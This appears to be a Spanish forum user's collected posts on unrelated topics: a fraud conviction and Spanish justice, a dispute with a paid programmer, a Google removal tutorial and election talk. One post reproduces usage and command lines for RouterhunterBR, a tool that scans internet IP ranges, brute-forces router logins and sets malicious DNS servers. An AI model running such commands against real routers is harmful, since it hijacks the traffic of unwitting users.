Mensajes

Bueno tienes razón:
La justicia en España es de pena e injusta

Lo se de buena tinta....

Hombre, si la pena me parece excesiva, por que aunque hiciera eso, casi no robo nada de dinero, no merece tanta pena la verdad, pero la vida para los pobres es muy desgraciada.

Si no puedes pagar un buen abogado , no tienes derecho a nada.
Y nada hay que fastidiarse y aguantar.

No se me da lástima el chaval, en fin.

Un saludo.

Ojo este chaval ya tenía antecedentes de por pequeños robos da la casualidad que viendo laSexta Noche un programa de TV que suelen hablar de política en la sexta lo tertulianos decían que la justicia actuado bien con este chico en resumen que habido justicia.

Lo suyo sería que pusiera alguna foto de lo que te pasa, que digas que versión de bajaste si lo tienes boteado desde un USB o lo arrancas desde tu portátil no se algo mas especifico.

Saludos.

De nada amigo, espero que os sirva yo demomento no lo he probado a ver cuando tenga tiempo lo intento probar si alguien lo prueba que comente si le ha funcionado.

Hola a todos.

Me gustaría comentar un episodio que me ha pasado en este foro.

A un programador de este foro le pedí si me podía realizar un trabajo a cambio del precio que el marcase.
Le explique de que trataba el trabajo y acepto y poniendo el precio que quiso. La única condición que puso es que lo realizaría en sus ratos libres, esto sucedio el 7 de noviembre.
Al tiempo, me dijo que se le hacía largo y que me cobraría mas, lo cual no tuve ningun impedimento y le realize el ingreso via PayPal.
Cuando ya tuvo el esqueleto del programa me lo mando por correo para que lo viese y resulto que yo tenía Windows XP y el programa no corria en esa version así que quedamos en que me compraría un ordenador donde corriese el programa.
Cuando ya tuve el ordenador nuevo, le mande correos para que me enviase el programa que ya había pagado.... todavía estoy esperando una respuesta.
Pensé que estaría enfermo o con cualquier otro problema que le impidiese contactar conmigo pero veo que es muy activo en este foro.

Esta semana he ido a un cuartel de la Guardia Civil para contar todo lo sucedido y me han aconsejado que denuncie pero antes me gustaría saber que haríais vosotros si hubieseis sido victimas de una estafa como yo.

Saludos

Y quien es esa persona que te ha estafado puedes decir el nombre de ese usuario que esta registrado en el foro ? De todas manera las cosas que hagáis por privado es responsabilidad vuestra no del foro eso que quede claro o creo que es así si no me equivoco.

Hason

Por otro lado, en España si no me equivoco , mientras no robes más de 300 euros , creo que son, no te pueden hacer nada, solo avisan creo, hasta 3 veces, y entonces si que te dan palo

En España se considera delito a partir de los 400 € sea de lo que sea.

Es decir, que con la actual ley, mientras no robes más de 300 euros, no pasa nada,.... no me parece bien, pero el caso de la tarjeta de crédito es estafa, con lo que hubiera podido robar mucho más.

Otra vez que no.

Lo que pienso es que la justicia actuando tarde y lenta tenía que haberlo juzgado mucho antes y no haber esperado 6 años para juzgarlo.

Ahora que le vayan a caer 5 años de prisión me parece excesivo si nos ponemos a comparar el caso por ejemplo de Isabel Pantoja que fue condenada solo a dos años de prisión por blanqueo después de haber trincado nada mas y nada menos que  1.147.148,96 euros se dice poco.

La justicia en España es de pena e injusta con esto no quiero justificar lo que ha echo este chaval que esta mal, pero condenarlo después de un delito que cometió cuando tenía 18 años algo falla en la justicia.

[El RouterhunterBR Que es una herramienta de seguridad automatizada encuentra vulnerabilidades y realiza pruebas en los routers y dispositivos vulnerables en Internet. El RouterhunterBR fue diseñado para funcionar a través de Internet en busca de ips pistas o al azar definidos con el fin de explotar de forma automática el DNSChanger vulnerabilidad en routers domésticos.El DNSChanger es un troyano capaz de dirigir peticiones de los usuarios a sitios ilegales. En la práctica, este malware tiene la capacidad de cambiar la configuración DNS de nuestra máquina de redirigir al usuario a sitios con fines maliciosos. Imagina, por ejemplo, que su sistema está infectado con este malware, lo que podría suceder es que el usuario tenga acceso a un sitio en particular (por ejemplo. Facebook.com) puede ser enviada a un sitio web no solicitados y potencialmente ilegal.]

El RouterhunterBR Que es una herramienta de seguridad automatizada encuentra vulnerabilidades y realiza pruebas en los routers y dispositivos vulnerables en Internet. El RouterhunterBR fue diseñado para funcionar a través de Internet en busca de ips pistas o al azar definidos con el fin de explotar de forma automática el DNSChanger vulnerabilidad en routers domésticos.

El DNSChanger es un troyano capaz de dirigir peticiones de los usuarios a sitios ilegales. En la práctica, este malware tiene la capacidad de cambiar la configuración DNS de nuestra máquina de redirigir al usuario a sitios con fines maliciosos. Imagina, por ejemplo, que su sistema está infectado con este malware, lo que podría suceder es que el usuario tenga acceso a un sitio en particular (por ejemplo. Facebook.com) puede ser enviada a un sitio web no solicitados y potencialmente ilegal.

Requerimientos

import sys, os, argparse, itertools, requests, random, time, threading, base64, socket
from datetime import datetime

USO

-range 192.168.1.0-255, --range 192.168.1.0-255  Set range of IP
 -bruteforce, --bruteforce                        Performs brute force with users and passwords standards, and soon    after defines the malicious DNS.
 -startip 192.168.*.*, --startip 192.168.*.*      Start - IP range customized with wildcard / 201.*.*.*
 -endip 192.168.*.*, --endip 192.168.*.*          End - IP range customized with wildcard / 201.*.*.*
 -dns1 8.8.8.8, --dns1 8.8.8.8                    Define malicious dns1
 -dns2 8.8.4.4, --dns2 8.8.4.4                    Define malicious dns2
 --threads 10                                     Set threads numbers
 -rip, --randomip                                 Randomizing ips routers
 -lmtip 10, --limitip 10                          Define limite random ip

Comandos

python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --randomip --limitip 10 --threads 10                      
python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 -rip -lmtip 10 --threads 10

Escáner de IP gama:

python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --range 192.168.25.0-255 --threads 10

IP range customized with wildcard / Ex: –startip 201.*.*.* – –endip 201.*.*.*

python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.8 --startip 192.168.*.* --endip 192.168.*.* --threads 10

La fuerza bruta con usuarios y contraseñas en los routers que requiere autenticación, obligando a la alteración del ADN – DSLink 260E.

python routerhunter.py --dns1 8.8.8.8 --dns2 8.8.4.4 --range 177.106.19.65-70 --bruteforce --threads 10

AUTOR: Jhonathan Davi A.K.A jh00nbr

GITHUB: https://github.com/jh00nbr/

[Autor:]

[youtube=640,360]https://www.youtube.com/watch?v=l_ywIjY4mUQ[/youtube]

Quería dejar este vídeo tutorial que he visto por Internet y que muchos usuarios se preguntan como pueden borrar los resultado personales del google pues esto ha sido lo que he encontrado a ver que tal lo veis y si os da resultado comentarlo.

Manual para una correcta utilización de esta herramienta:
https://support.google.com/webmasters...

Herramienta de Google (hay que estar registrados en Gmail):
https://accounts.google.com/ServiceLogin?service=sitemaps&passive=1209600&continue=https://www.google.com/webmasters/tools/removals&followup=https://www.google.com/webmasters/tools/removals#identifier

Autor: xarlydon

Si no esta en el sitio adecuado moverlo. Gracias.

[El joven granadino ha ingresado en prisión por una estafa de 80 euros con tarjeta de crédito, pero la Justicia considera que además mintió a las autoridades y huyó.]

El joven granadino ha ingresado en prisión por una estafa de 80 euros con tarjeta de crédito, pero la Justicia considera que además mintió a las autoridades y huyó.

Alejandro Fernández junto a su abogado, Javier Gómez Rosales (EFE)

Seguro que ha escuchado el caso: Alejandro Fernández, un joven de Granada sin antecedentes penales previos, ingresó este martes en el centro penitenciario de Albolote por un delito de estafa con tarjeta de crédito falsa por una compra de 80 euros cometido hace seis años. Su familia ha creado una petición en la plataforma Change.org para solicitar el indulto y más de 300.000 ciudadanos apoyan la iniciativa, que por el momento ha sido denegada. La historia de Fernández ha recabado adhesiones en muchos medios de comunicación e incluso fue recibido el lunes por el alcalde de Granada.

"Alejandro tenía 18 años recién cumplidos y no sabía que la tarjeta que le habían dado era falsa. Compró en una tienda que vende batidos al por mayor por valor de 79,20 euros y por eso está en la cárcel", dice a este periódico Javier Gómez Rosales, encargado de su defensa. Sin embargo, la sentencia de la Audiencia Nacional (en PDF y anonimizada; Fernández es Isidro Daniel), ratificada íntegramente por el Supremo, narra una historia diferente. Fernández está sentenciado a cumplir una pena de cinco años en prisión por delito de falsificación de tarjetas de crédito y estafa; nada se menciona del episodio de los 80 euros.

Según la sentencia, que es firme, Fernández acudió el 15 de enero de 2010 al Carrefour Alameda de Málaga a bordo de un Golf rojo. En él viajaban tres personas más, amigos suyos, con antecedentes por hurto y lesiones. Efectuaron dos operaciones por importe de 299 y 257 euros con tarjetas falsas sin problema, pero regresaron para efectuar una última compra, una PlayStation y juegos por valor de 523 euros, y en ese momento fueron sorprendidos por las autoridades.

La Policía solo pudo detener a uno de los cuatro estafadores; los otros tres escaparon en el Golf al verlos. Fernández y otro compañero se entregaron días después en la comisaría de Málaga, si bien uno de ellos, Kamal, de nacionalidad nigeriana y considerado por Fernández como su "hermano mayor", todavía sigue en paradero desconocido. Precisamente la defensa de Fernández durante el juicio, como la de sus otros compañeros, se basó en acusar al africano de haberles engañado para obtener beneficios a través de las tarjetas falsas que él poseía, pero la jueza Ángela Murillo Bordallo no se creyó una sola palabra.


Una defensa que no se sostiene

La sentencia es muy crítica con la declaración de Fernández. "A preguntas de la propia defensa, el acusado matizó que Kamal en lugar de entregarle dinero efectivo [para las compras] le dio dos tarjetas con el nombre y apellidos del declarante, pero él 'nunca había visto una tarjeta'. No obstante, pensó que todo era legal". Continúa el texto: "Este desconocimiento inicial sobre el carácter falsario de las tarjetas no se sostiene en pie un solo instante. Si nunca había poseído ni visto una tarjeta de crédito, y de pronto se encuentra con que le entregan dos, a su nombre, con las que puede adquirir los efectos que le apetezcan... ¿cómo puede pensarse que todo esto era legal, que no era malo?".

La conclusión de la jueza no deja lugar a dudas: "Lo que realmente sucede es que este acusado, como los otros dos, en juicio pretendieron descargar parte de sus respectivas responsabilidades en el ausente Kamal, manteniendo los tres al unísono que este mandaba sobre ellos, ordenándoles realizar compras con tarjetas que resultaron ser inauténticas, donde figuraban sus respectivos nombres, y que aquel les entregaba. Esta versión la rechazamos por inverosímil y contraria a la lógica más elemental".
La teoría de que Fernández desconocía qué es una tarjeta de crédito, a pesar de que tenía dos a su nombre, una de Caja España y otra de Caja Rural, se resquebraja no solo por la declaración judicial, sino por la versión del ahora convicto, que sostiene que solo utilizó las tarjetas para comprar unos batidos, los de los 80 euros, antes del episodio del Carrefour, en el que ahora dice no haber estado. No obstante, ante la jueza admitió todas las acusaciones.


En la operación posterior, que terminó con ocho imputados, se encontraron pasaportes, tarjetas y carnés falsos, además de los útiles necesarios para la falsificación de documentos. Gómez Rosales indica que Fernández nada tiene que ver con esto y que solo fue engañado por su amigo Kamal, "que además era mucho mayor que él".

La sentencia de la Audiencia Nacional fue recurrida en casación ante el Tribunal Supremo, que ocho meses después la ratificó por completo. El juez Joaquín Giménez desestimó los recursos (en PDF y anonimizada; Donato es Fernández) aduciendo que Fernández fue "cooperador necesario al haber aportado a los autores materiales de la falsificación sus propios datos de identidad para hacerlos constar en las tarjetas", argumenta, "el recurrente, actuando de común acuerdo con los otros dos acusados y utilizando tarjetas espurias, realizó dos compras e intentó otra en Carrefour por un importe superior a 400 euros, lo que revela la existencia de un perjuicio para el titular de las tarjetas o para un tercero".

Rosales reconoce y acata esta sentencia, tan solo pide que se le explique documentalmente por qué le ha sido denegada la petición de indulto cumpliendo "todos lo requisitos para obtenerla". Si Fernández muestra buen comportamiento en prisión, podría obtener el tercer grado en 2019 y la condicional cuando haya cumplido tres cuartas partes de la pena.

Extracto de la sentencia de la Audiencia. Isidro Daniel es Fernández. (CENDOJ)

Extracto del recurso al Supremo. Donato es Fernández. (CENDOJ)

http://www.elconfidencial.com/espana/2016-06-08/alejandro-fernandez-tarjetas-falsas-estafa-sentencia_1213598/

Lekim

1.  El lavado de cerebro televisivo franquista  de la época del NO-DO (aiii... esos pantanos...XD), aún persiste en la mayor parte de la población de avanzada edad, que vivió en aquella época. Estos, la mayoría votan al PP.

Totalmente de acuerdo, en casi todo lo que has dicho los pantanos de la época de franco nos sigue persiguiendo jaja eso son lo que siguen votando los viejos de este país franquista que hasta que no se vayan muriendo poco a poco no dejará paso a la nueva generación de jóvenes con una mentalidad mas abierta que la antigua generación y que de verdad quieren cambiar el país.

Yo lo tengo claro voy ha votar a los del

Lo veo un poco innecesario hacer una encuesta de las elecciones no por nada por que ya hay encuesta por Internet sobre las elecciones.